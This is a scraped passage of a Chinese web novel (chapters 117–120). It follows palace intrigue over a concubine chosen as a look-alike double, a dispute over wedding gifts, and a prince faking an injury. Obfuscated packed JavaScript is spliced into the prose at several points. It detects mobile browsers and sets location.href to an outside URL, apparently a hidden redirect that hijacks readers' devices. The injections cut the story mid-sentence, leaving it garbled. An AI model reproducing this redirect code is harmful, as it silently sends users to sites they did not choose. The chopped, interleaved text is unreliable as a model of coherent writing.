l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634488|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如今见姜莲如此上道,老鸨便点头应允。 “那好吧,今晚三皇子会来春香楼为红缨捧场,你好生准备,看能否入了他的眼。” “多谢!”姜莲忙不迭道谢。 姜莲回到家中,将自己锁在房中,对着铜镜缓缓褪去衣衫,露出身上那些青紫的印记。 她与姜姝宁有几分相似,因而每次姜瑶真在姜姝宁处受了气,便将她唤到来福酒楼,对她又掐又打,以泄心头之恨。 若再不寻个皇子依靠,她怕是迟早会死在姜瑶真手中。 姜莲凝视镜中的自己,唇角勾起一抹冷笑:“二姐姐,你如此欺我,便别怪我去勾引未来的姐夫了。” 她拿起一盒胭脂,小心翼翼地涂抹在那些青紫痕迹上。 不多时,那些印记果真化作一朵朵娇艳欲滴的鲜花,泛着惑人的光泽。 做完这一切,她又化了一个极似姜姝宁的妆容,这才换好衣衫,悄然离去。 夜色深沉,姜莲戴着面纱,踏入了春香楼。 三皇子萧修湛果然在雅间中欣赏红缨的舞姿。 一曲终了,红缨娇笑着投入他的怀中:“殿下好不容易来一趟春香楼,今夜便让奴家伺候您吧!” 谁知萧修湛却将她推开,声音冷如冰霜:“本皇子捧你做头牌,是让你给本皇子赚钱的。你不去陪客,哪来的银子?” 红缨心头一紧,只能含泪退下。 果然,最是无情帝王家。 那些日夜缠绵,不过是虚情假意,他要的只是她能带来的钱财与利益。 这时,戴着面纱的姜莲被老鸨领到萧修湛面前。 姜莲暗自打量眼前这位身着锦袍、贵气逼人的男子,心中却有些失望。 本以为同为兄弟,至少会有几分相似,没想到这三皇子模样远不如四皇子那般俊美靡丽。 萧修湛懒散地扫她一眼,语气淡漠:“你有何技艺?” 姜莲不语,径直褪下衣衫,露出那开满“鲜花”的肌肤。 萧修湛轻嗤一声:“在身上画花,倒也算个新奇玩意儿。只是,这些花都是假的,若无出众姿色,怕是难令客人满意。” 说着,他伸手直接扯下她脸上的面纱。 在看清她面容的那一瞬,他的瞳孔猛地一缩! 第117章 哭了,便不像她了 第一百一十七章哭了,便不像她了 “姜姑娘……”萧修湛脱口而出,喉结滚动,“你怎么会出现在这里?” “客官,我名叫姜莲。”姜莲含羞带怯道。 “姜莲……”萧修湛定睛细看,眼前的女子虽与姜姝宁有几分神似,却并非本人。 姜姝宁看似温婉,实则周身散发着一股清冷疏离之气,宛如夜空中皎洁的明月,让人不敢轻易靠近。 而眼前的女子,明显更为柔弱,也让男人觉得更易得手。 萧修湛嘴角勾起一抹暧昧的轻笑:“你也姓姜?与姜姝宁是何关系?” “我是姜姝宁的堂妹。”她答道。 “堂妹?难怪与她如此相像。”萧修湛伸出手,指尖轻轻触碰她的脸颊,目光在她与姜姝宁相似的容颜上流连,“你可知我是谁?” “知道。”她看着他,脸上浮起红晕,“你是二姐姐的未来夫君,我的姐夫。” “姐夫?”萧修湛浑身陡然发热,目光也随即变得邪肆起来,“这称呼,我喜欢。” 他俯身将她打横抱起,大步朝不远处的大床走去…… 几番辗转,云销雨霁。 萧修湛一脸餍足地掀开幔帐,一边慢条斯理地穿着衣衫,一边肆无忌惮地打量着眼前初尝云雨的女子。 她脸色酡红,眼睛还有未干的泪痕,看起来娇弱无比。 不知姜姝宁承欢时,是否也是这般让人爱怜的模样? “你既是姜丞相的侄女,为何会沦落到春香楼讨生活?”他随口问。 姜莲羞涩地将薄被拉至肩头,垂下眼帘,低声道:“姐夫有所不知,我父亲是姜家庶子,无论出身还是才学都远不及大伯。二哥去世后,父亲与相府彻底**,我们一家三口不得不搬离相府。谁知京城物价高昂,家中积蓄本就微薄,我实在走投无路,才……” 说到此处,她声音哽咽,低低啜泣起来。 萧修湛上前,抬起她的下巴,声音低柔:“别哭了。” 姜莲以为他在宽慰自己,心中一暖,轻唤道:“姐夫……” “……你若哭了,便不像她了。”萧修湛松开手,眉间闪过一丝不悦。 姜姝宁从不轻易落泪,尤其是看向他时,眼神总是凌厉中带着几分冷意,一副拒人于千里之外的模样。 起初,萧修湛只觉得她与寻常世家贵女无异,性子温婉贤淑,精通厨艺,是个适合做正妻的人选。 当初想娶她,不过是看中相府的势力,再加上太后对她颇为青睐,若能将她迎娶为妻,好处自是不少。 真正让他对她心生波澜的,是那次马球场上的惊鸿一瞥。 马背上的她,英姿飒爽,大胆而热烈,耀眼得让人无法移开目光。 他终于明白,为何四皇子和五皇子都对她如此倾心。 马球赛过后,他一连几日都梦见她,甚至萌生了想将她据为己有的念头。 当然,那只是梦中妄想。 清醒时,他比谁都清楚,想得到她,无异于摘下天边的月亮。 但正因如此,他才愈发念念不忘。 姜莲敏锐地捕捉到萧修湛眼底一闪而过的厌倦,心中一惊,忙擦去脸上的泪痕:“殿下,莲儿知错了,往后定不再哭泣!” “也别唤我姐夫,她从不会如此称呼我。”萧修湛凝视着她,目光晦涩,“唤我三皇子殿下。” “是,三皇子殿下!”姜莲心中惶恐,语气愈发恭谨。 萧修湛伸手轻触她的脸颊,语气淡然却带着几分意味深长:“无妨,慢慢学,本皇子有的是耐心。” 长得倒是很像她,只是性情不太像,好好调教,假以时日,定能到以假乱真的地步。 姜莲鼓起勇气,试探着问:“莲儿可否留在殿下身边?便是为奴为婢,莲儿也心甘情愿!” “傻丫头,本皇子怎舍得让你为奴为婢?”萧修湛轻笑道,“快去收拾东西,随我回宫。明日我便命人送聘礼到你家中。从今往后,你便是本皇子的贵妾。” 姜莲闻言,喜出望外,顾不得此时的自己不着寸缕,忙下床跪在他脚边,连连磕头:“谢殿下,谢殿下!” 她心中暗自得意:二姐姐,你容貌再美又如何? 终究是我先一步嫁给了三皇子殿下! 萧修湛赏了老鸨不少银子,将姜莲带回宫中。 翌日,他便带着姜莲拜见熙贵妃。 熙贵妃初见姜莲,不由一怔,惊道:“你怎将姜姑娘带来了?” “母妃,您仔细瞧瞧,她可不是相府的姜姑娘。”萧修湛笑着道,“她叫姜莲,是姜姝宁的堂妹。” 姜莲连忙屈膝行礼:“妾身见过贵妃娘娘!” 熙贵妃定睛细看,这才确认眼前之人并非姜姝宁,脸色微沉:“湛儿,你这是何意?大婚在即,为何还要纳一个姜家女子?” “母妃,借一步说话。” 萧修湛将姜莲留在偏殿,独自与熙贵妃移步后花园。 偏殿内,姜莲好奇地打量着四周金碧辉煌的陈设,心中满是惊叹,全然未察觉自己在萧修湛身边,未来将扮演何种角色。 “母妃,这姜莲留在儿臣身边,大有用处。”萧修湛缓缓开口,“四弟与五弟如今对姜姝宁皆是神魂颠倒,这姜莲与她容貌相似,稍加调教,便能以假乱真。到时,还愁拿捏不住他们吗?” “不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634489|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个跟她长得像的女子罢了,真有如此大的作用?”熙贵妃眉间仍有疑虑。 “母妃有所不知,自古英雄难过美人关。”萧修湛笑意深长,眼中闪过一丝算计,“尤其是得不到的女子,更叫人魂牵梦萦。此时,一个相似至极的替身,便显得尤为重要。” 熙贵妃听罢,微微颔首:“既如此,便将她留下吧。只是她不过一介贵妾,又出身小门小户,聘礼不必太过贵重吧?” 内库所剩无几的那点东西还得用来筹备太子大婚,实在是没有太多拿得出手的金银珠宝了。 “母妃做主便是。”萧修湛淡淡一笑,“不过这聘礼表面上还需体面些,以免失了皇家的颜面。” “你放心,本宫自会安排得周到妥帖!”熙贵妃沉声道。 不久,太子与顾晚樱的大婚便如期而至。 身为大邺储君,皇家为太子操办的婚礼极尽奢华,太子妃顾晚樱的聘礼单更是令人瞠目结舌,金银珠宝熠熠生辉,绫罗绸缎堆积如山,成群的婢仆亦是训练有素,无一不彰显着皇家的气派与尊荣。 婚宴之上,冠盖云集,皇亲国戚、名门望族、朝廷重臣及其家眷济济一堂,觥筹交错间,尽是繁华景象。 相府亦在受邀之列。 姜瑶真作为宾客参加这场盛大的婚宴,眼底满是艳羡与期盼。 她与萧修湛的婚期仅比太子晚半月,届时,她肯定也将成为众人瞩目的焦点,享受着无与伦比的荣耀与风光。 京城之中,除顾晚樱外,又有哪位贵女的婚礼能与她相提并论呢? 姜瑶真心中暗自得意。 然而,当三皇子的聘礼抬入相府,姜瑶真满怀期待地打开清点时,却瞬间傻眼了。 那些看似金光灿灿的首饰,实则是以金包银的工艺制成。 初看之下,其色泽与纹路皆与纯金无异,难以分辨真伪,可一旦掂量在手,便能察觉其分量轻重,与真金的厚重截然不同。 更让她难以接受的是,那顶本应以东珠点缀的凤冠,却仅缀着大小不一、光泽黯淡的珍珠,显得廉价而寒酸。 她心怀侥幸,仔细翻遍了所有的聘礼,这才绝望地发现,无论是金银珠宝,还是玉石玛瑙,亦或是绸缎绫罗,其价值都远逊于顾晚樱所收的聘礼,更遑论与之相提并论。 婢女春花按捺不住心中的愤懑,小声抱怨道:“这就是三皇子殿下给咱们二小姐的聘礼吗?怕是还不如老爷给二小姐准备的嫁妆呢!” 姜瑶真闻言,脸色瞬间阴沉下来,如寒冰般冷冽,指甲也深深地扎入掌心,几乎要渗出血来。 三皇子殿下此举,究竟是何意? 难道他是在羞辱自己吗? 第118章 搬石头砸自己的脚 第一百一十八章搬石头砸自己的脚 众人皆知姜瑶真的生母曾是春香楼一名歌伎,因此她对自己的身世一直讳莫如深。 即便从庶女抬为次嫡女,她也始终无法释怀,生怕被人戳脊梁骨,看轻了去。 萧修湛也曾当众奚落她不过是个半路抬举的次嫡女,不堪匹配正妃之位。 如今这聘礼以次充好,难道是他给自己的一个下马威吗? “自然不是。”面对姜瑶真的质问,萧修湛神色温柔解释道,“真儿,你要明白,嫁给本皇子,并非仅仅是做个皇子妃那么简单,你将来是要母仪天下的。大婚是否隆重,聘礼是否贵重,这些都不过是过眼云烟,重要的是,要有一颗心怀天下的仁爱之心。” 姜瑶真强压下心中的不满,低声道:“臣女愚钝,不明白殿下的意思。” “真儿,南月近来屡屡犯我大邺边境,百姓流离失所,苦不堪言。若我们此时铺张浪费,大操大办婚宴,岂不是让百姓心寒?所以,本皇子与母妃商议,决定一切从简,聘礼自然也不必过于厚重。” 姜瑶真闻言,脸色瞬间苍白如纸。 “殿下……您为何不早些告知臣女?我们可以将婚期延后,待南月战事平息后再行大婚也不迟啊!” 她可以忍受晚一些成婚,却无法忍受自己的婚礼不够风光。 萧修湛怜爱地捧起她的脸庞,柔声道:“那怎么行?本皇子早已迫不及待要与真儿结为连理,朝夕相伴,共度一生!” 姜瑶真看着他那副深情款款的模样,只得将满腹委屈强行咽下,违心地说道:“臣女也是……” 回到相府,她越想越不甘心。 凭什么顾晚樱的婚礼能够风光无限,而她的婚事却要草草了事? 女子一生仅此一次的大婚,若不能艳压群芳,让京城贵女们艳羡不已,那还有什么意义? 恰好此时,她院中的宋嬷嬷和春花正在整理她的嫁妆。 看着相府为她精心准备的那些华丽的箱笼,一个大胆的想法在她脑海中悄然滋生。 她款步来到姜丞相的书房,梨花带雨,泫然欲泣:“爹爹,女儿知道,大哥的死让您对三皇子殿下心存芥蒂。女儿又何尝不是如此?如今女儿就要嫁入三皇子府,真怕他日后会薄待女儿。” 听她提起萧修湛,姜丞相脸色便阴沉了几分。 “这桩婚事乃是圣上钦点,若你将来在三皇子府受了委屈,圣上自会为你做主。” “家事琐事,怎好劳烦圣上?不如这样,爹爹,您多给女儿添置些嫁妆,有了钱财傍身,女儿也能嫁得风光体面些,也好让三皇子和熙贵妃对女儿另眼相看!” “你母亲向来疼爱你,为你准备的嫁妆定然不会让你受委屈。” “爹,女儿的意思是,把姐姐那份也给女儿!反正……姐姐已经说过不嫁人了,不是吗?” “这……”姜丞相面露难色,神色复杂。 姜姝宁确实曾说过不嫁人,但他总觉得那是如今四皇子步步紧逼,她不得已而为之的托词。 作为父亲,他心中仍存着一丝希望,盼望着她将来能觅得良婿,嫁入好人家。 “此事,你需得先问过你姐姐的意思。” 姜丞相只是搪塞她,可她铁了心要用娘家的钱财来为自己的婚事撑场面,便厚着脸皮去了翠竹院,向姜姝宁提出了这个要求。 “可以啊。”出乎意料的是,姜姝宁竟一口答应了下来。 姜瑶真简直不敢相信事情会如此顺利,激动之情溢于言表:“谢谢姐姐!姐姐放心,将来若三皇子后院的姬妾生了孩子,我一定让他将孩子过继给姐姐,这样姐姐日后也能老有所依,有人送终了!” “妹妹真是体贴入微,正合我意!”姜姝宁眼底闪过一丝难以捉摸的光芒,“对了,咱们的堂妹姜莲最近也出嫁了,我想从父亲留给我的嫁妆里拿出一部分给她添妆,毕竟是同宗姐妹,你觉得如何?” “莲儿出嫁了?”姜瑶真大吃一惊,“她嫁给了谁?” “这我就不清楚了,妹妹不妨亲自去二叔家问问,顺便帮我把这份贺礼带给她!”姜姝宁说着,示意凌芜拿来一个沉甸甸的木匣子。 姜瑶真哪里还顾得上那木匣子,满脑子都是姜莲出嫁的消息,急匆匆地离开了。 看着她匆忙离去的背影,姜姝宁嘴角勾起一抹冰冷的笑意。 两日前,萧凌川派人秘密送来消息,说是萧修湛纳了个贵妾,而这个贵妾不是别人,正是她们的堂妹姜莲! 姜瑶真机关算尽,想要打造一个姜姝宁的替身,没想到最后这替身竟然被自己的未婚夫给收了。 凌芜在一旁幸灾乐祸道:“这二小姐心思不正,竟然想利用自己的堂妹去勾引四皇子殿下。如今可好,三小姐反而成了三皇子殿下的贵妾,真是搬起石头砸了自己的脚!” “这是她咎由自取,怪不得别人!”姜姝宁眼中闪过一丝厌恶,“只是想到那姜莲日日要装成我的样子,在萧修湛面前搔首弄姿,我就觉得恶心!” 凌芜连忙安慰道:“大小姐别气坏了身子,三小姐再怎么模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640006|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿您,也及不上您的万分之一。赝品终究是赝品,又怎么能与真品相提并论呢?” 姜姝宁这才露出笑容:“凌芜,你这张嘴真是越来越会说话了!” “大小姐谬赞!” 另一边,姜瑶真怒气冲冲地赶到姜二爷的府邸。 她在心中恨恨地咒骂着:姜莲这个**,还没等她好好利用,竟敢私自嫁人!谁给她的胆子? 姜二爷和姜二夫人一见到她,立刻堆起满脸谄媚的笑容,迎了上来。 “瑶真来了!真是太感谢你了,若不是你从中周旋,我们莲儿怎么可能有机会攀上皇家这根高枝啊!” “什么?三妹嫁入皇家了?嫁给谁了?”姜瑶真迫不及待地追问道,语气中带着一丝难以置信。 姜二爷和姜二夫人面面相觑,似乎对她的反应感到十分惊讶:“你、你竟然不知道?” “我怎么会知道?你们快说,她到底嫁给谁了?”姜瑶真焦急地催促道。 姜二夫人犹豫了一下,吞吞吐吐地说道:“就是……三皇子殿下啊!” 这句话如同晴天霹雳,瞬间将姜瑶真震得魂飞魄散,脸色惨白。 “三皇子殿下?这绝不可能!”她指着姜二夫人的鼻子,声嘶力竭地尖叫起来,“你们简直痴心妄想,白日做梦!三皇子殿下还未与我成婚,怎么可能娶姜莲?” 姜二夫人一听这话,顿时拉下脸来,语气不善道:“我们骗你做什么?我们家莲儿前几日的确成了三皇子殿下的贵妾,三皇子殿下送来的聘礼还在库房里放着呢,要不要带你去看看?” 说着,便起身领着姜瑶真前往库房。 来到库房,姜瑶真一眼就看到了堆放在角落里、印着皇家徽印的聘礼箱子。 打开箱子,那些金包银的首饰、缀满了廉价珍珠的凤冠、质地粗糙的绸缎…… 果然与三皇子送给她的聘礼一模一样! 姜瑶真瞬间失去了理智,彻底崩溃。 她不顾姜二爷和姜二夫人的阻拦,将箱子里的聘礼狠狠地摔在地上,状若疯癫地怒吼道:“姜莲算个什么东西?她凭什么能得到和我一样的聘礼?她也配?” 姜二爷和姜二夫人费了九牛二虎之力,才将失控的姜瑶真赶出了府邸。 姜瑶真独自一人坐在马车上,越想越气,胸腔中燃烧着熊熊怒火:“萧修湛,你风流成性,我或许可以不计较,但你绝不能如此羞辱我!我堂堂相府的次嫡女,岂能容忍自己的聘礼与一个贱妾相同?既然你把我当傻子,就别怪我找人治你了!” 第119章 堂堂皇子妃,自然要最好的! 第一百一十九章堂堂皇子妃,自然要最好的! 姜瑶真回到相府,顾不上其他,径直奔向翠竹院,去找姜姝宁。 “姐姐,我知道你有太后赏赐的金符令,可以随意出入皇宫。敢问姐姐打算何时进宫?可否带上我?我想去见见三皇子殿下。” 姜姝宁嘴角勾起一抹意味深长的笑:“真是巧了,我今日刚做了些甘草蜜饯,正打算给太后送去。妹妹若是想进宫,不如就一同前往吧!” 姜瑶真见她如此轻易地答应,心中不由得生出几分狐疑。 难道她早就知道了姜莲被萧修湛纳为妾的事,故意引她去找二叔二婶,等着看自己笑话? 想到这里,她心中顿时燃起一股难以抑制的怒火。 马车上,她故意道:“姐姐可知姜莲嫁给谁了?说来也真是可笑,她竟然嫁给三皇子殿下做了妾!她平日里最爱模仿姐姐的打扮,如今成了三皇子殿下的妾室,姐姐难道心里一点都不膈应吗?” 姜姝宁淡淡地冲她笑了笑,语气毫无波澜:“妹妹都不觉得膈应,我又有什么好膈应的?” 姜瑶真心头的怒火蹭地一下窜了上来。 她深吸一口气,努力压制内心的真实情绪,装出一副满不在乎的模样:“不过是个妾罢了,说白了跟奴婢又有什么区别?我就当三皇子殿中多了个伺候我的人罢了。只是,我怕就怕在这三妹长得实在太像姐姐了,又爱学姐姐的打扮,若是在宫里被其他皇子瞧见了,也不知道他们会不会误会?” “妹妹不就是想让他们误会,才故意将三妹打扮成我的模样,送到四皇子萧凌川面前的吗?”姜姝宁的笑容带着一丝嘲讽,“只可惜啊,四皇子殿下没看上她,反倒是被三皇子殿下给看上了。妹妹,你这算不算搬起石头砸了自己的脚,自作自受呢?” “你……”姜瑶真被她噎得哑口无言,脸色一阵青一阵白,难看至极。 她本想借着姜莲的事来刺激姜姝宁,让她心里不痛快,没想到却反被姜姝宁三言两语弄得心情郁闷,恼火不已。 罢了,今日她的目的是想办法让自己的聘礼变得更加丰厚,没必要在这种口舌之争上浪费时间。 两人进了宫,姜姝宁提着食盒,款步往慈宁宫的方向走去。 姜瑶真见她身影渐远,这才转身直奔御书房。 御书房内,大总管陈顺恭敬地向皇帝禀告:“陛下,姜家二小姐求见!” “姜家二小姐?不是老三未来的皇妃吗?她来做什么?”皇帝略带疑惑地问。 “奴才问过了,她说事关重要,非要见到陛下才肯说。陛下,您看是否要宣她进来?若是不便,奴才这就打发她回去。”陈顺小心翼翼地请示道。 这几日,凝香被诊断出怀有身孕,皇帝心情大好,对宫人们也格外宽容。 “罢了,想必是有什么要紧事,才会直接找到朕这里来。宣她进来吧!” “是!”陈顺领命,很快便将姜瑶真带进了御书房。 “臣女姜瑶真见过陛下,陛下万福金安!”姜瑶真盈盈下拜,声音娇柔。 “平身。”皇帝抬眼看着她,语气温和,“姜二姑娘今日特意来找朕,不知所为何事啊?” “陛下,臣女有一事相求。”姜瑶真抬起头,神情恳切,“三皇子殿下体恤国情,私下里告诉臣女,近来南月屡次进犯我大邺边境,战事吃紧,他心疼边疆百姓流离失所,所以想将原本用于操办婚事的钱财节省下来,用于赈济灾民,帮助百姓渡过难关,因而主张他和臣女的婚事一切从简。 可臣女的父亲心疼臣女,盼着臣女能风风光光地出嫁,所以主张这大婚的一切费用都由我们姜家自己承担。这样既能减轻皇室的负担,又能让臣女体面地嫁入皇家。陛下,不知您意下如何?” 皇帝听了,脸上露出了赞赏的笑容。 “老三果然心怀百姓,忧国忧民,朕深感欣慰!不过,即便边境战事吃紧,也没到要委屈皇子妃的地步,更何况要让臣子承担皇室婚礼的费用,这万万不可!若是传扬出去,岂不是要让天下人以为我们大邺国库空虚,连一场像样的婚礼都办不起了? 此事休要再提,你且安心,你和老三的大婚,朕自有安排。朕保证,你们的婚礼和聘礼用度,都将按照最好的标准来置办,绝不会让你受委屈!” 姜瑶真心中激动万分,连忙跪下叩首,语气带着一丝难以掩饰的兴奋:“臣女谢陛下隆恩!陛下圣明!” 她心中得意地冷笑,这下萧修湛总不能再随意敷衍她的婚事和聘礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640007|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧? 那些金包银的首饰、珍珠凤冠、质量次的绸缎,就都留给他的妾室们吧,她堂堂皇子妃,自然是要最好的! —— 慈宁宫内,太后斜倚在软榻上,与姜姝宁闲话家常,脸上堆满了慈祥的笑容。 “哀家正念叨着你呢,你就来了。你做的这甘草蜜饯来得真及时,哀家近来总是觉得嘴里寡淡无味,御膳房那些人做的糕点没滋味,实在是不合哀家的口味。” 站在一旁的吴嬷嬷,语气带着几分无奈:“太后,您身上的红疹才刚好,太医可是千叮咛万嘱咐,要您忌食甜腻之物。御膳房的人也是谨遵医嘱,不敢给您准备太甜的糕点。若不是姜姑娘及时送来这化痰止咳的甘草蜜饯,老奴真怕您又因为吃太多糕点咳嗽了!太后,您就听老奴一句劝,能不能把这害人的甜食给戒了?” 姜姝宁也笑着劝道:“吴嬷嬷说得极是,太后您年岁渐长,饮食上还是清淡一些为好,莫要贪图一时的口腹之欲。” 太后闻言,眼底掠过一丝淡淡的忧伤,语气也变得有些低落:“正因为年岁大了,才更吃不了苦。这把老骨头也不知道还能活几年,不如多吃些甜的,让日子过得舒心些,也算是不枉此生了。” “太后您洪福齐天,身体康健,定能福寿绵长,长命百岁的。”姜姝宁笑着道。 她这番话并非全然是恭维。 前世,在皇帝驾崩之后,太后依然健在,甚至还当上了太皇太后,地位尊贵。 直到姜姝宁被毒害而死,太皇太后依然活得好好的,由此可见,这位太后娘娘的确是个长寿且有福气之人。 太后拿起一块甘草蜜饯,放入口中细细品尝,脸上再次露出笑容。 “还是姜姑娘会说话,这话说得比这蜜饯还要甜!眼看着你妹妹不日就要嫁入皇宫了,再过几年,说不定就能为皇家开枝散叶,膝下环绕着好几个粉雕玉琢的孩子,哀家就不信你见了不会眼馋!” 听到这话,姜姝宁的心头猛然一震,仿佛被一道闪电击中一般,瞬间想起了前世一些事来。 前世,她与萧凌川成婚十年,始终未能诞下一儿半女,而姜瑶真与萧修湛成婚十年,同样也没有子嗣。 这究竟是巧合,还是另有隐情? 第120章 他这是在……对她撒娇? 第一百二十章他这是在……对她撒娇? “你既入了宫,想必也会去探望四皇孙吧?”太后的话将姜姝宁的思绪从前世的回忆中拉了回来。 “是。”姜姝宁微微颔首,轻声应道,“四皇子殿下对臣女有救命之恩,于情于理,臣女都应该去探望他,以表感激之情。” “只是感念他的救命之恩吗?难道就真的没有半分动心?”太后略带几分惋惜地摇了摇头,“哀家也算是阅人无数了,可还从未见过你这般心如磐石的姑娘。若是换作其他女子,恐怕早就芳心暗许,恨不得立刻以身相许了!可怜哀家的四皇孙,好不容易遇到一个让他真心倾慕的女子,却无论做什么都无法打动她的心!” 姜姝宁表面上毫无波澜,内心却五味杂陈。 太后又怎会知道,她没有心动过? 只不过,她比任何人都清楚,心动之后那令人绝望的结局。 在经历了前世的惨痛教训后,她今生才选择了将自己的心牢牢地封闭起来,不跟萧凌川有任何情感牵绊。 “太后您说笑了,这世上可没有规定救命之恩就一定要以身相许的道理。臣女也知道自己对四皇子殿下有所亏欠,所以这段时日定会竭尽所能地回报他。”姜姝宁不卑不亢地回应道。 太后见自己苦口婆心地劝说了半天,却依然没能动摇姜姝宁的心意,不由得叹了一口气:“罢了罢了,哀家真是说不过你。也罢,情爱之事,终究是强求不来的。你还是早些去探望四皇孙吧,他若是知道你要去看他,肯定会很高兴的!” “是,臣女告退,谢太后恩典!”姜姝宁起身告辞。 从慈宁宫出来之后,姜姝宁的心中依然思绪万千。 前世,萧凌川与太后这位皇祖母的关系十分疏离,几乎可以用形同陌路来形容。 可如今,太后却对萧凌川表现出了如此明显的偏爱和维护,这让姜姝宁感到十分不解。 难道真的是因为那日萧凌川通过了太后设下的考验的缘故? 可是,那个所谓的“刺客”不过是太后身边的一个内侍假扮的,萧凌川也并没有真正地救太后的性命,太后为何仅仅凭着这样一件小事,便对萧凌川的态度改观如此之大? 皇家人之间的关系亲疏,从来都不是由血脉亲情所决定的,而是由利益所驱动的。难道说,他们私底下还有其他不为人知的利益牵绊? 凌风大老远就看到姜姝宁朝景和宫的方向而来。 他心中一喜,连忙跑进殿内,对着正在挥汗如雨操练的萧凌川禀报道:“殿下,姜姑娘来了!” “姜……”萧凌川闻言,立即丢下了手中的**,唤来贴身内侍,急切地吩咐道,“快,快去拿纱布来,把我的右手缠起来!” 他可不能让姜姝宁发现自己的右手早就痊愈如初了。 否则,她定然不会再像现在这样,隔三差五地前来探望他。 内侍匆忙赶来,与凌风一起手忙脚乱地给萧凌川缠绕纱布。 然而,时间紧迫,他们还没来得及将纱布缠好,姜姝宁就已经来到了殿门口。 “臣女姜姝宁前来探望四皇子殿下,还请公公帮忙通报一声。”姜姝宁对守在门口的内侍道。 “姜姑娘,您稍等片刻。” 内侍正绞尽脑汁地想着该如何拖延时间,好让姜姝宁晚些进殿,这时,黑豹突然跑了过来。 它一见到姜姝宁,便立刻亲昵地跑到她的脚边,然后四仰八叉地倒在地上,翻转打滚,撒娇卖萌。 姜姝宁连忙蹲下身子,伸手抚摸了它许久,直到它心满意足地起身,这才起身朝殿内走去。 内侍在她身后长长舒了口气:关键时刻,还是黑豹管用啊! 此时,萧凌川右手已经缠好了纱布,他故作虚弱地端坐在书案前,用左手端起茶杯,轻轻抿了一口。 看到姜姝宁走进殿内,他只淡淡地问了句:“你来了?” “臣女见过四皇子殿下。”姜姝宁朝他行个礼,目光关切地落在了他的右手上,“殿下的手可有好些了?” “还是老样子,没什么起色。孙神医不是说了吗,我整条胳膊都断了,筋脉尽毁,哪有那么快就能痊愈?”萧凌川面不改色地说着谎,目光在身上流连,“今日怎么没带些吃食来?” “臣女准备直接在殿下厨房里给殿下做些吃的。”姜姝宁解释道。 “如此甚好。”萧凌川脸上云淡风轻,深邃的桃花眸里却是难以掩饰的愉悦之色。 姜姝宁忽然朝他走近了几步,目光落在了他缠着厚厚纱布的右手上。 萧凌川心中一凛,生怕被她看出什么端倪,下意识地左手覆在了自己的右手上,故作镇定地问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645652|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看什么?” “殿下,你这手上的纱布……包扎得似乎有些不妥当啊。” 姜姝宁微微蹙眉,指了指他手上那团缠得乱七八糟的纱布,肉眼可见的凌乱不堪。 萧凌川轻咳一声,掩饰自己的心虚:“是……是凌风帮我缠的!” 说着,故意瞪了凌风一眼。 凌风心领神会,连忙上前附和道:“是!殿下恕罪!属下向来粗手笨脚,从未帮人包扎过伤口,所以……所以弄得不太好,还请姜姑娘见谅!” 姜姝宁无奈道:“殿下的胳膊伤得这样重,若是包扎不当,恐怕会更难痊愈,留下病根。这样吧,还是让臣女来帮殿下重新包扎一下吧。” 萧凌川眸色微动:“那便有劳姜姑娘了。” 姜姝宁上前一步,小心翼翼地帮他拆下旧的纱布,生怕弄疼了他。 她的动作轻柔,眼神专注,眼间流露出几分不自知的温柔。 她离萧凌川很近,近到他能清晰地闻到她身上那股特有的馨香。 他有些心猿意马,思绪也开始变得飘忽起来。 她娇艳欲滴的红唇近在咫尺,像是无声的邀请。 萧凌川克制了许久,才强压下心中那股想俯身亲吻她的冲动。 何时才能像前世一样,毫无顾忌地对她做尽那些床笫间的亲密之事? 他喉结滚动,心潮起伏,右手下意识地攥紧,仿佛想要抓住什么。 姜姝宁敏锐地察觉到了他手的动作,惊呼道:“殿下,你的手动了!难道是骨头已经开始愈合了吗?” 